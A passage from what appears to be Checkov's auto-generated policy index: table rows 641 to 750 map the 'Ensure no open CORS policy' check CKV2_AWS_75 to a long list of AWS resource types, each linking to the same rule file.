[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 641 | CKV2_AWS_75 | resource | aws_dx_private_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 642 | CKV2_AWS_75 | resource | aws_dx_public_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 643 | CKV2_AWS_75 | resource | aws_dx_transit_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 644 | CKV2_AWS_75 | resource | aws_dynamodb_contributor_insights | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 645 | CKV2_AWS_75 | resource | aws_dynamodb_global_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 646 | CKV2_AWS_75 | resource | aws_dynamodb_kinesis_streaming_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 647 | CKV2_AWS_75 | resource | aws_dynamodb_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 648 | CKV2_AWS_75 | resource | aws_dynamodb_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 649 | CKV2_AWS_75 | resource | aws_dynamodb_table_export | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 650 | CKV2_AWS_75 | resource | aws_dynamodb_table_item | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 651 | CKV2_AWS_75 | resource | aws_dynamodb_table_replica | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 652 | CKV2_AWS_75 | resource | aws_dynamodb_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 653 | CKV2_AWS_75 | resource | aws_ebs_default_kms_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 654 | CKV2_AWS_75 | resource | aws_ebs_encryption_by_default | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 655 | CKV2_AWS_75 | resource | aws_ebs_fast_snapshot_restore | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 656 | CKV2_AWS_75 | resource | aws_ebs_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 657 | CKV2_AWS_75 | resource | aws_ebs_snapshot_block_public_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 658 | CKV2_AWS_75 | resource | aws_ebs_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 659 | CKV2_AWS_75 | resource | aws_ebs_snapshot_import | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 660 | CKV2_AWS_75 | resource | aws_ebs_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 661 | CKV2_AWS_75 | resource | aws_ec2_availability_zone_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 662 | CKV2_AWS_75 | resource | aws_ec2_capacity_block_reservation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 663 | CKV2_AWS_75 | resource | aws_ec2_capacity_reservation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 664 | CKV2_AWS_75 | resource | aws_ec2_carrier_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 665 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_authorization_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 666 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 667 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_network_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 668 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 669 | CKV2_AWS_75 | resource | aws_ec2_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 670 | CKV2_AWS_75 | resource | aws_ec2_host | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 671 | CKV2_AWS_75 | resource | aws_ec2_image_block_public_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 672 | CKV2_AWS_75 | resource | aws_ec2_instance_connect_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 673 | CKV2_AWS_75 | resource | aws_ec2_instance_metadata_defaults | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 674 | CKV2_AWS_75 | resource | aws_ec2_instance_state | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 675 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 676 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route_table_vpc_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 677 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 678 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list_entry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 679 | CKV2_AWS_75 | resource | aws_ec2_network_insights_analysis | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 680 | CKV2_AWS_75 | resource | aws_ec2_network_insights_path | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 681 | CKV2_AWS_75 | resource | aws_ec2_serial_console_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 682 | CKV2_AWS_75 | resource | aws_ec2_subnet_cidr_reservation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 683 | CKV2_AWS_75 | resource | aws_ec2_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 684 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 685 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 686 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_session | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 687 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 688 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 689 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 690 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect_peer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 691 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 692 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_propagation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 693 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 694 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 695 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 696 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 697 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 698 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 699 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 700 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 701 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_prefix_list_reference | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 702 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 703 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 704 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 705 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_propagation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 706 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 707 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 708 | CKV2_AWS_75 | resource | aws_ecr_account_setting | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 709 | CKV2_AWS_75 | resource | aws_ecr_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 710 | CKV2_AWS_75 | resource | aws_ecr_pull_through_cache_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 711 | CKV2_AWS_75 | resource | aws_ecr_registry_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 712 | CKV2_AWS_75 | resource | aws_ecr_registry_scanning_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 713 | CKV2_AWS_75 | resource | aws_ecr_replication_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 714 | CKV2_AWS_75 | resource | aws_ecr_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 715 | CKV2_AWS_75 | resource | aws_ecr_repository_creation_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 716 | CKV2_AWS_75 | resource | aws_ecr_repository_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 717 | CKV2_AWS_75 | resource | aws_ecrpublic_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 718 | CKV2_AWS_75 | resource | aws_ecrpublic_repository_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 719 | CKV2_AWS_75 | resource | aws_ecs_account_setting_default | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 720 | CKV2_AWS_75 | resource | aws_ecs_capacity_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 721 | CKV2_AWS_75 | resource | aws_ecs_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 722 | CKV2_AWS_75 | resource | aws_ecs_cluster_capacity_providers | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 723 | CKV2_AWS_75 | resource | aws_ecs_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 724 | CKV2_AWS_75 | resource | aws_ecs_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 725 | CKV2_AWS_75 | resource | aws_ecs_task_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 726 | CKV2_AWS_75 | resource | aws_ecs_task_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 727 | CKV2_AWS_75 | resource | aws_efs_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 728 | CKV2_AWS_75 | resource | aws_efs_backup_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 729 | CKV2_AWS_75 | resource | aws_efs_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 730 | CKV2_AWS_75 | resource | aws_efs_file_system_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 731 | CKV2_AWS_75 | resource | aws_efs_mount_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 732 | CKV2_AWS_75 | resource | aws_efs_replication_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 733 | CKV2_AWS_75 | resource | aws_egress_only_internet_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 734 | CKV2_AWS_75 | resource | aws_eip | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 735 | CKV2_AWS_75 | resource | aws_eip_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 736 | CKV2_AWS_75 | resource | aws_eip_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 737 | CKV2_AWS_75 | resource | aws_eks_access_entry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 738 | CKV2_AWS_75 | resource | aws_eks_access_policy_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 739 | CKV2_AWS_75 | resource | aws_eks_addon | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 740 | CKV2_AWS_75 | resource | aws_eks_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 741 | CKV2_AWS_75 | resource | aws_eks_fargate_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 742 | CKV2_AWS_75 | resource | aws_eks_identity_provider_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 743 | CKV2_AWS_75 | resource | aws_eks_node_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 744 | CKV2_AWS_75 | resource | aws_eks_pod_identity_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 745 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 746 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 747 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_configuration_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 748 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 749 | CKV2_AWS_75 | resource | aws_elasticache_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 750 | CKV2_AWS_75 | resource | aws_elasticache_global_replication_group | Ensure no open CORS policy | 